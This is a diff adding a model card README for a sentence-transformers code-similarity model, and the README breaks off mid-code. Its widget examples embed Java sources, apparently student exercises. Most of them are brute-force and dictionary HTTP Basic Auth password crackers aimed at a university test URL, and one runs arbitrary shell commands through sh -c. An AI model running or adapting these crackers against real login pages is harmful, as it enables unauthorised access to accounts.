diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1413 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- generated_from_trainer +- dataset_size:30069 +- loss:SoftmaxLoss +base_model: huggingface/CodeBERTa-small-v1 +widget: +- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\ + import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\ + \ {\n \n \n \n public static String Base64Encode(String s) {\n \ + \ byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table\ + \ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ + \ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ + \ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\ + \ % 3!=0) {\n int x1 = bb.length;\n \n b = new\ + \ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \ + \ for(int i=0;i> 2)];\n c[j+1] = table[(b[i+1] >>\ + \ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\ + \ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \ + \ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\ + \ while (c[j]=='A') {\n c[j]='=';\n j--;\n \ + \ }\n \n return String.valueOf(c);\n }\n \n \n public\ + \ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \ + \ for (int i=0;i=0);\n\ + \ }\n \n \n \n public synchronized void waitUntilAllTerminated()\ + \ {\n while (curconn>0) {\n try {\n wait();\n\ + \ } catch (InterruptedException e) {}\n }\n }\n \n \ + \ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\ + \ interruptd= false;\n int idx = -1;\n \n \n \n \ + \ \n while (curconn>=MAXCONN) {\n try {\n \ + \ wait();\n } catch (InterruptedException e) { interruptd = true;\ + \ }\n }\n \n \n \n if (!interruptd) {\n \ + \ \n curconn++;\n for (idx=0;idx=0) {\n if (idx>=idxLimit[i]) {\n \ + \ int nchar = i + 1;\n idx-=idxLimit[i];\n \ + \ for (int j=0;jALLCOMBI - idxstart)\ + \ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart)\ + \ / MAXTHREAD;\n \n \n \n for (thcount=0;thcount=0) {\n System.out.println();\n\ + \ System.out.println(\" ********************* [ URL SUCCESSFULLY\ + \ CRACKED !! ] *********************\");\n System.out.println();\n\ + \ System.out.println(\" The password is : \"+passw);\n \ + \ System.out.println(\" Number of attempts : \"+attempt+\" of \"\ + +ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\ + \ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\ + \ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ + \ \" attempts/sec\");\n System.out.println(\" Cracking time \ + \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ + \ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\ + \ \" seconds\");\n System.out.println();\n System.out.println(\"\ + \ ***************************************************************************\"\ + );\n System.out.println();\n } else {\n \ + \ System.out.println();\n System.out.println(\" *********************\ + \ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\ + \ System.out.println(\" Number of attempts : \"+attempt+\" of\ + \ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\ + \ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\ + %\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ + \ \" attempts/sec\");\n System.out.println(\" Cracking time \ + \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ + \ System.out.println();\n System.out.println(\" ***************************************************************************\"\ + );\n System.out.println();\n }\n }\n }\n \ + \ \n \n public static void printSyntax() {\n System.out.println();\n\ + \ System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\ + \ [username]\");\n System.out.println();\n System.out.println(\"\ + \ mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\"\ + \ (trying from the first the last combinations)\");\n\ + \ System.out.println(\" 1 - ENHANCED Brute force mode\"\ + );\n System.out.println(\" (dividing cracking jobs\ + \ multiple threads) (default)\");\n System.out.println(\" URL :\ + \ (opt) the URL crack \");\n System.out.println(\" \ + \ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\"\ + \ charset : (optional) the character set used crack.\");\n System.out.println(\"\ + \ - (default)\");\n System.out.println(\" \ + \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\"\ + \ -alphanum \");\n System.out.println(\" \ + \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n \ + \ System.out.println(\" -alphalow \");\n System.out.println(\"\ + \ abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\"\ + \ -alphaup \");\n System.out.println(\" \ + \ ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" \ + \ -number \");\n System.out.println(\" 1234567890\"\ + );\n System.out.println(\" [custom] e.g. aAbB123\");\n \ + \ System.out.println(\" , : (optional) range of characters applied in\ + \ the cracking\");\n System.out.println(\" where\ + \ 1 <= <= 10 (default = 1)\");\n System.out.println(\" \ + \ <= <= 10 (default = 3)\");\n System.out.println(\"\ + \ username : (optional) the username that is used crack\");\n System.out.println();\n\ + \ System.out.println(\" NOTE: The optional parameters 'charset','','',\ + \ and 'username'\");\n System.out.println(\" have specified altogether\ + \ none at all.\");\n System.out.println(\" For example, if [charset]\ + \ is specified, then [], [], and\");\n System.out.println(\" [username]\ + \ have specified as well. If none of them specified,\");\n System.out.println(\"\ + \ default values used.\");\n System.out.println();\n System.out.println(\"\ + \ Example of invocation :\");\n System.out.println(\" java BruteForce\ + \ \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\"\ + \ java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\"\ + \ java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\"\ + \ java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n \ + \ System.out.println();\n System.out.println();\n }\n \n \n\ + \ \n \n \n \n \n \n public static void countIdxLimit() {\n\ + \ idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n\ + \ ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if\ + \ (i==0) {\n idxLimit[i] = 0;\n } else {\n \ + \ idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n \ + \ }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \ + \ \n \n public static void paramCheck(String[] args) {\n int argc\ + \ = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue())\ + \ {\n case 0: {\n isenhanced = false;\n \ + \ } break;\n case 1: {\n isenhanced\ + \ = true;\n } break;\n default:\n \ + \ System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\ + \ printSyntax();\n System.exit(1);\n \ + \ }\n } catch (NumberFormatException e) {\n System.out.println(\"\ + Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n \n if (argc>1) {\n \ + \ try {\n \n URL u = new URL(args[1]);\n\ + \ \n \n try {\n \ + \ HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \ + \ \n switch (conn.getResponseCode()) {\n \ + \ case HttpURLConnection.HTTP_ACCEPTED:\n \ + \ case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\ + \ case HttpURLConnection.HTTP_FORBIDDEN:\n \ + \ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \ + \ break;\n default:\n \ + \ \n \n System.out.println(\"\ + Unable open connection the URL '\"+args[1]+\"'\");\n \ + \ System.exit(1);\n }\n } catch (IOException\ + \ e) {\n System.out.println(e);\n System.exit(1);\n\ + \ }\n \n THEURL = args[1];\n \ + \ } catch (MalformedURLException e) {\n \n \ + \ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n }\n \n \ + \ \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n\ + \ } catch (NumberFormatException e) {\n System.out.println(\"\ + Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n \n try\ + \ {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n \ + \ } catch (NumberFormatException e) {\n System.out.println(\"\ + Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n\ + \ System.exit(1);\n }\n \n if\ + \ ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid\ + \ range number value '\"+args[3]+\"' (must between 0 and 10)\");\n \ + \ printSyntax();\n System.exit(1);\n } else\n \ + \ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\ + Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n\ + \ printSyntax();\n System.exit(1);\n \ + \ }\n \n if (MAXCHAR>10) {\n \ + \ System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between\ + \ value and 10)\");\n printSyntax();\n System.exit(1);\n\ + \ }\n \n if (args[2].toLowerCase().equals(\"\ + -\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\"\ + )) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"\ + -alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"\ + -alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n } else\n if (args[2].toLowerCase().equals(\"\ + -number\")) {\n charset = \"1234567890\";\n \ + \ } else {\n charset =\ + \ args[2];\n }\n \n USERNAME\ + \ = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n \ + \ System.out.println(\"Please specify the [charset], [], [], and [username]\ + \ altogether none at all\");\n printSyntax();\n \ + \ System.exit(1);\n } else\n if ((argc>2) && (argc>6))\ + \ {\n System.out.println(\"The number of parameters expected\ + \ is not more than 6. \");\n System.out.println(\" have specified\ + \ more than 6 parameters.\");\n printSyntax();\n \ + \ System.exit(1);\n }\n }\n \n public static\ + \ void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if\ + \ (args.length==0) {\n args = new String[6];\n args[0]\ + \ = String.valueOf(1); \n args[1] = THEURL;\n args[2] =\ + \ \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4]\ + \ = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \ + \ \n \n paramCheck(args);\n \n countIdxLimit();\n\ + \ \n \n Application = new BruteForce();\n }\n \n \ + \ public static BruteForce Application;\n public static String THEURL =\ + \ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean\ + \ isenhanced; \n public static String passw = \"\"; \n \n public\ + \ static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD\ + \ = 50; \n public static int MAXCONN = 50; \n public\ + \ static int\t curconn = 0; \n public static int success\ + \ = -1; \n \n public static String USERNAME = \"\"; \n public\ + \ static int MINCHAR; \n public static int MAXCHAR;\ + \ \n public static int ALLCOMBI; \n \n \ + \ public static int start ,end; \n \n \n public static\ + \ java.util.Timer reportTimer; \n public static HttpURLConnection connections[]\ + \ = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[]\ + \ = new boolean[MAXCONN]; \n public ThCrack[] threads \ + \ = new ThCrack[MAXTHREAD]; \n public static int \ + \ attempt = 0; \n public static int idxLimit; \n public\ + \ static String charset; \n public static int NCHAR; \n}\n" + sentences: + - "\n\npublic class Execute {\n public Execute(String cmdline) {\n try {\n\ + \ \n String[] cmd = {\"//sh\", \"-c\", cmdline};\n Process\ + \ p = Runtime.getRuntime().exec(cmd);\n \n p.waitFor();\n \ + \ } catch (Exception e){}\n }\n}\n\n" + - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\ + import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n \ + \ private String url;\n private URL currURL;\n private\ + \ URLConnection conn;\n private HoldSharedData sharedData;\n private int\ + \ noOfThread;\n private int batch;\n\n public ConnectionThread(\ + \ String pageURL, int wThread,\n int newBatch, HoldSharedData\ + \ data )\n {\n super();\n url = pageURL;\n noOfThread\ + \ = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n\ + \ \n public void run()\n {\n try\n {\n currURL\ + \ = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread\ + \ + 1)*batch) &&\n (i < sharedData.getPwdCount());\ + \ i ++ )\n {\n String pwd = sharedData.getPasswordAt(\ + \ i );\n\n conn = currURL.openConnection();\n\n \ + \ if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection\ + \ hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n\ + \ String cad = \" \" + based64Encoder( \":\" + pwd );\n \ + \ hconn.setRequestProperty( \"Authorization\", cad );\n\n \ + \ hconn.connect();\n\t int response = hconn.getResponseCode();\n\ + \ sharedData.setNumOfConnections();\n\n \ + \ if( response == 200 )\n {\n totalTime\ + \ = System.currentTimeMillis() -\n sharedData.getStartTime();\n\ + \ int numOfConnections = sharedData.getNumOfConnections();\n\ + \n System.out.println( \"Password is \" + pwd );\n \ + \ System.out.println( \"Total Time(seconds)=\" +\n \ + \ (double)totalTime/1000 );\n \ + \ System.out.println( \"Number Of Connections: \" +\n \ + \ numOfConnections );\n \ + \ System.exit(0);\n }\n else\n \ + \ {\n hconn.disconnect();\n \ + \ }\n }\n }\n }\n catch( MalformedURLException\ + \ mue )\n {\n String msg = \"Unable parse URL: \" + url;\n\ + \ System.err.println( msg );\n }\n catch( IOException\ + \ ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n\ + \ }\n }\n\n private String based64Encoder( String pwd )\n {\n\ + \ \n String str = pwd;\n byte[] buf = str.getBytes();\n \ + \ String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n \ + \ return encodedStr;\n }\n} " + - "import java.io.*;\nimport java.net.*;\n\npublic class Dictionary{\n\n public\ + \ static void main( String[] args ){\n Dictionary dict= new Dictionary();\n dict.create();\n\ + \ }\n\npublic void dsf(){\n String password;\n String auth_data;\n String\ + \ username=\"\";\n String server_res_code;\n String required_server_res_code=\"\ + 200\";\n int cntr=0;\n try{\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + );\n URLConnection conn=null;\n String fileName = \"/usr/share/lib/dict/words\"\ + ;\n fileName=fileName.trim();\n FileReader fr = new FileReader(fileName);\n\ + \ BufferedReader inputfile = new BufferedReader(fr);\n\n while( (password=inputfile.readLine())\ + \ != null ){\n\n password = password.trim();\n \n \ + \ auth_data=null;\n auth_data=username + \":\" + password;\n \ + \ auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n\ + \ auth_data=auth_data.trim();\n conn=url.openConnection();\n\ + \ conn.setDoInput (true);\n conn.setDoOutput(true);\n \ + \ conn.setRequestProperty(\"GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty\ + \ (\"Authorization\", auth_data);\n server_res_code=conn.getHeaderField(0);\n\ + \ server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n\ + \ cntr++;\n if( server_res_code.compareTo(required_server_res_code)!=0)\n\ + \ System.out.println(cntr + \" . \" + \"PASSWORD SEND : \" + password\ + \ + \" SERVER RESPONSE : \" + server_res_code);\n else {\n \ + \ System.out.println(cntr + \" . \" + \"PASSWORD IS: \" + password + \" SERVER\ + \ RESPONSE : \" + server_res_code);\n break;}\n\n }\n\n}\n\ + \ncatch( Exception e){\n System.err.println(e);\n }\n}\n\npublic String\ + \ getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \ + \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N',\ + \ 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a',\ + \ 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \ + \ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1',\ + \ '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString\ + \ = \"\";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int\ + \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ + \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n\ + \ b3 = 0;\n pad = 2;\n }\n else {\n b2 =\ + \ bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n \ + \ pad = 1;\n }\n else\n b3 = bytes [i++];\n\ + \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ + \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ + \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ + \ encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n\ + \ encodedString += base64Array [c3];\n encodedString += base64Array\ + \ [c4];\n break;\n case 1:\n encodedString += base64Array\ + \ [c3];\n encodedString += \"=\";\n break;\n case 2:\n \ + \ encodedString += \"==\";\n break;\n }\n }\n return\ + \ \" \" + encodedString;\n }\n\n}" +- source_sentence: "import java.net.*;\nimport java.util.*;\nimport java.io.*;\n\n\ + \n\n\npublic class BruteForce {\n URL url;\n URLConnection uc;\n String username,\ + \ password, encoding;\n int pretime, posttime;\n String c ;\n\n public BruteForce(){\n\ + \ pretime = new Date().getTime();\n try{\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + );\n }catch(MalformedURLException e){\n e.printStackTrace();\n }\n\ + \ username = \"\";\n }\n\n public void checkPassword(char[] pw){\n try{\n\ + \ password = new String(pw);\n encoding = new pw.misc.BASE64Encoder().encode((username+\"\ + :\"+password).getBytes());\n uc = url.openConnection();\n uc.setRequestProperty(\"\ + Authorization\", \" \" + encoding);\n bf = uc.getHeaderField(null);\n \ + \ System.out.println(password);\n if(bf.equals(\"HTTP/1.1 200 OK\")){\n\ + \ posttime = new Date().getTime();\n diff = posttime - pretime;\n\ + \ System.out.println(username+\":\"+password);\n System.out.println();\n\ + \ System.out.println(diff/1000/60 + \" minutes \" + diff/1000%60 + \" seconds\"\ + );\n System.exit(0);\n }\n }catch(MalformedURLException e){\n \ + \ e.printStackTrace();\n }catch(IOException ioe){\n ioe.printStackTrace();\n\ + \ }\n }\n\n public static void main (String[] args){\n BruteForce bf =\ + \ new BruteForce();\n char i, j, k;\n\n \n for(i='a'; i<='z'; i++){\n\ + \ for(j='a'; j<='z'; j++){ \n for(k='a'; k<='z'; k++){\n \ + \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n }\n\ + \ }\n\n \n for(i='A'; i<='Z'; i++){\n for(j='A'; j<='Z'; j++){ \ + \ \n for(k='A'; k<='Z'; k++){\n char[] pw = {i, j, k};\n \ + \ bf.checkPassword(pw);\n }\n }\n }\n\n \n for(i='A';\ + \ i<='Z'; i++){\n for(j='a'; j<='z'; j++){ \n for(k='a'; k<='z';\ + \ k++){\n char[] pw = {i, j, k};\n bf.checkPassword(pw);\n \ + \ }\n }\n }\n\n for(i='A'; i<='z'; i++){ \n if((i=='[')\ + \ || (i=='\\\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n continue;\n\ + \ }\n for(j='A'; j<='Z'; j++){ \n for(k='a'; k<='z'; k++){\n\ + \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n\ + \ }\n } \n\n for(i='A'; i<='z'; i++){ \n if((i=='[') || (i=='\\\ + \\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n continue;\n \ + \ }\n for(j='a'; j<='z'; j++){ \n for(k='A'; k<='Z'; k++){\n \ + \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n\ + \ }\n } \n \n for(i='a'; i<='z'; i++){\n for(j='A'; j<='Z';\ + \ j++){ \n for(k='A'; k<='Z'; k++){\n char[] pw = {i, j, k};\n\ + \ bf.checkPassword(pw);\n }\n }\n }\n \n \n for(i='A';\ + \ i<='z'; i++){ \n if((i=='[') || (i=='\\\\') || (i==']') || (i=='^') ||\ + \ (i=='_') || (i=='`')){\n continue;\n }\n for(j='A'; j<='z';\ + \ j++){ \n if((j=='[') || (j=='\\\\') || (j==']') || (j=='^') || (j=='_')\ + \ || (j=='`')){\n continue;\n }\n char[] pw = {i, j};\n\ + \ bf.checkPassword(pw);\n }\n } \n \n \n for(i='A';\ + \ i<='z'; i++){ \n if((i=='[') || (i=='\\\\') || (i==']') || (i=='^')\ + \ || (i=='_') || (i=='`')){\n continue;\n }\n char[] pw = {i};\n\ + \ bf.checkPassword(pw);\n }\n }\n}\n \n" + sentences: + - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\ + {\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1\ + \ = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n \ + \ {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\ + \ http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException\ + \ e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new\ + \ Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n" + - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\ + {\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n private static String password;\n private static int length; \ + \ \n private static int t_counter; \n private static int f_counter;\ + \ \n \n private static int cases;\ + \ \n \n private static int respCode;\ + \ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\ + \ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \ + \ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \ + \ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\ + \ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\ + Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ + \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ + \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ + \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ + \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ + \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ + \ BufferedReader in = \n new BufferedReader (new InputStreamReader\ + \ (content));\n String line;\n while ((line = in.readLine()) !=\ + \ null) \n {\n pw.println(line);\n }\n } catch\ + \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ + \ sw.toString();\n }\n \n class BruteForceAuthenticator extends\ + \ Authenticator \n {\n private String username = \"\";\n\n protected\ + \ PasswordAuthentication getPasswordAuthentication()\n {\n return\ + \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ + \ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\ + \ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\ + \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \ + \ k=0;\n \n \n \n if(t_counter == 0)\n {\n\ + \ length = 1;\n cases = 0;\n f_counter = 0;\n\ + \ }\n if(t_counter == 2*n)\n {\n length = 2;\n\ + \ cases = 0;\n f_counter = 0;\n }\n if(t_counter\ + \ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\ + \ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\ + \n \n \n if(length == 1)\n {\n if(f_counter\ + \ == n)\n {\n cases++;\n f_counter = 0;\n\ + \ }\n i = f_counter;\n\n } else if(length == 2)\ + \ \n {\n if(f_counter == n*n)\n {\n \ + \ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\ + \ j = f_counter - i*n;\n\n } else if(length == 3) \n \ + \ {\n if(f_counter == n*n*n)\n {\n cases++;\n\ + \ f_counter = 0;\n }\n i = f_counter/(n*n);\n\ + \ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\ + \ }\n\n \n switch(cases)\n {\n case\ + \ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\ + \ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\ + \ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\ + \ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\ + \ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\ + \ = letters1.charAt(k);\n break;\n case 3:\n \ + \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ + \ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\ + \ case 4:\n c[0] = letters1.charAt(i);\n \ + \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ + \ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ c[1] = Character.toUpperCase(letters1.charAt(j));\n \ + \ c[2] = letters1.charAt(k);\n break;\n case 6:\n\ + \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ + \ c[2] = Character.toUpperCase(letters1.charAt(k));\n \ + \ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ + \ break;\n default:\n break;\n \ + \ }\n\n f_counter++;\n t_counter++;\n\n password = new\ + \ String(c);\n return c;\n }\n }\n}\n" + - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\ + public class Dictionary\n{\n public static void main(String args[])\n {\n\ + \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\ + \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\ + \ String s = null;\n int num_tries = 0;\n \n try\n {\n\ + \ \n BufferedReader dict_word = new BufferedReader\n \ + \ (new FileReader (DICT_FILE));\n \n \n \ + \ while((password = dict_word.readLine())!= null)\n { \n \ + \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\ + wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \ + \ \n BufferedReader stdInput = new BufferedReader(new \n \ + \ InputStreamReader(p.getInputStream()));\n\n \ + \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\ + \n \n while ((s = stdInput.readLine()) != null)\n\ + \ {\n System.out.println(s);\n }\n\ + \ \n \n while ((s = stdError.readLine())\ + \ != null)\n {\n System.out.println(s);\n \ + \ }\n\n try\n\t {\n p.waitFor();\ + \ \n }\n catch (InterruptedException g) \n \ + \ {\n } \n\n num_tries++;\n \ + \ \n if((p.exitValue()) == 0) \n { \n \ + \ System.out.println(\"**********PASSWORD IS: \" + password);\n\ + \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\ + \ System.exit(1);\n }\n }\n \ + \ catch (IOException e)\n {\n System.out.println(\"\ + exception happened - here's what I know: \");\n e.printStackTrace();\n\ + \ System.exit(-1);\n }\n }\n \n \ + \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \ + \ System.out.println(\"**********Sorry, password was not found in dictionary\ + \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\ + \ exception)\n {\n System.out.println(exception);\n }\n \ + \ catch (IOException exception)\n {\n System.out.println(exception);\n\ + \ }\n }\n}\n \n" +- source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\ + \ class Dictionary\n{\n public static void main (String args[]) throws IOException,\n\ + \ MalformedURLException\n {\n final String username = \"\";\n final\ + \ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n final String\ + \ dictfile = \"/usr/share/lib/dict/words\";\n String temppass;\n String\ + \ password = \"\";\n URL url = new URL(fullurl);\n boolean cracked =\ + \ false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader\ + \ r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass =\ + \ r.readLine()) != null && !cracked)\n { \n \n if(temppass.length()\ + \ <= 3)\n {\n \n if(isAlpha(temppass))\n \ + \ {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\ + \ try{\n BufferedReader x = new BufferedReader(new\ + \ InputStreamReader(\n url.openStream()));\n \ + \ cracked = true;\n password = temppass;\n \ + \ } catch(Exception e){}\n }\n }\n }\n\n stopTime\ + \ = System.currentTimeMillis();\n \n 